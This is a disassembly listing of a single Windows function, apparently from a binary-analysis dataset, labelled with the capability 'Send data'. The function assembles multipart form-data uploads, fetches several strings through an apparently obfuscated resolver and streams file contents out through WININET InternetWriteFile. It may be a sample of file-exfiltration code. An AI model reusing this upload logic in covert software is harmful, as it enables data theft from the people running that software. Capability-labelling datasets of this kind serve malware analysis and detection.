Function at 0x423987
Capabilities:
Send data

Disassembly:
sub esp, 0x414
mov eax, dword [0x518450]
xor eax, esp
mov dword [esp + 0x410], eax
mov eax, dword [esp + 0x420]
push ebx
mov ebx, dword [esp + 0x420]
push ebp
mov ebp, dword [esp + 0x420]
push esi
push edi
xor edi, edi
mov dword [esp + 0x1c], eax
push edi
lea eax, [esp + 0x24]
mov dword [esp + 0x18], ebp
push eax
push ebx
mov dword [esp + 0x1c], edi
call fcn.00422ffa
add esp, 0xc
test ebp, ebp
jne 0x423a72
push 0x151f5c3
push 0xebf20cd3
push 0xcf1c043d
call fcn.00401b1b
mov edx, eax
add esp, 0xc
lea eax, [edx + 1]
mov cl, byte [edx]
inc edx
test cl, cl
jne 0x4239f5
lea ecx, [esp + 0x20]
sub edx, eax
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x423a05
sub ecx, esi
lea esi, [edx + 0x37]
add esi, ecx
cmp dword [esp + 0x434], edi
jbe 0x423a6a
push 0x14981026
push 0xfe3be936
push 0xdad5e1d0
call fcn.00401b1b
add esp, 0xc
push eax
push 0x40e05276
push 0xaa43ab66
push 0x8eada384
call fcn.00401b1b
add esp, 0xc
push eax
lea eax, [esp + 0x28]
push str.__AaBbCc_r_nContent_disposition:_form_data__name__s___filename__s__r_nContent_Type:_octet_stream_r_nContent_Transfer_Encoding:_binary_r_n_r_n
push eax
call fcn.004bad3c
add eax, 2
add esp, 0x10
add eax, dword [esp + 0x434]
add esi, eax
add esi, 0xc
jmp 0x423bbc
push 0x8e67577e
push 0x64c4ae6e
push 0x402aa6f4
call fcn.00401b1b
push eax
lea eax, [esp + 0x30]
push str.__AaBbCc_r_nContent_disposition:_form_data__name__s__r_n_r_n
push eax
call fcn.004bad3c
lea esi, [esp + 0x38]
add esi, eax
push 1
push esi
push ebx
call fcn.00422ffa
add esi, eax
add esp, 0x24
lea eax, [esp + 0x20]
mov byte [esi], 0xd
inc esi
mov byte [esi], 0xa
sub esi, eax
lea eax, [esp + 0x10]
inc esi
push eax
push esi
lea eax, [esp + 0x28]
push eax
push ebp
call dword [sym.imp.WININET.dll_InternetWriteFile]
test eax, eax
je 0x423bbe
mov ebx, dword [esp + 0x434]
test ebx, ebx
je 0x423b7f
push 0xaff7f7
push 0xea0c0ee7
push 0xcee20675
call fcn.00401b1b
add esp, 0xc
push eax
push 0xaf6463e0
push 0x45c79af0
push 0x6129926e
call fcn.00401b1b
add esp, 0xc
push eax
lea eax, [esp + 0x28]
push str.__AaBbCc_r_nContent_disposition:_form_data__name__s___filename__s__r_nContent_Type:_octet_stream_r_nContent_Transfer_Encoding:_binary_r_n_r_n
push eax
call fcn.004bad3c
add esp, 0x10
mov dword [esp + 0x18], eax
lea ecx, [esp + 0x10]
push ecx
push eax
lea eax, [esp + 0x28]
push eax
push ebp
call dword [sym.imp.WININET.dll_InternetWriteFile]
test eax, eax
je 0x423bbc
add esi, dword [esp + 0x18]
mov ebp, 0x400
lea eax, [esp + 0x10]
push eax
mov eax, dword [esp + 0x20]
cmp ebx, ebp
cmovb ebp, ebx
add eax, edi
push ebp
push eax
push dword [esp + 0x20]
call dword [sym.imp.WININET.dll_InternetWriteFile]
test eax, eax
je 0x423bbc
add esi, ebp
add edi, ebp
sub ebx, ebp
jne 0x423b41
mov ebp, dword [esp + 0x14]
lea edx, [esp + 0x22]
mov word [esp + 0x20], 0xa0d
jmp 0x423b83
lea edx, [esp + 0x20]
mov ecx, str.__AaBbCc___r_n
sub edx, ecx
mov al, byte [ecx]
mov byte [edx + ecx], al
inc ecx
test al, al
jne 0x423b8a
lea edi, [esp + 0x20]
lea ecx, [edi + 1]
mov al, byte [edi]
inc edi
test al, al
jne 0x423b9b
lea eax, [esp + 0x10]
sub edi, ecx
push eax
push edi
lea eax, [esp + 0x28]
push eax
push ebp
call dword [sym.imp.WININET.dll_InternetWriteFile]
test eax, eax
je 0x423bbc
add esi, edi
mov eax, esi
mov ecx, dword [esp + 0x420]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.004b9a6c
add esp, 0x414
ret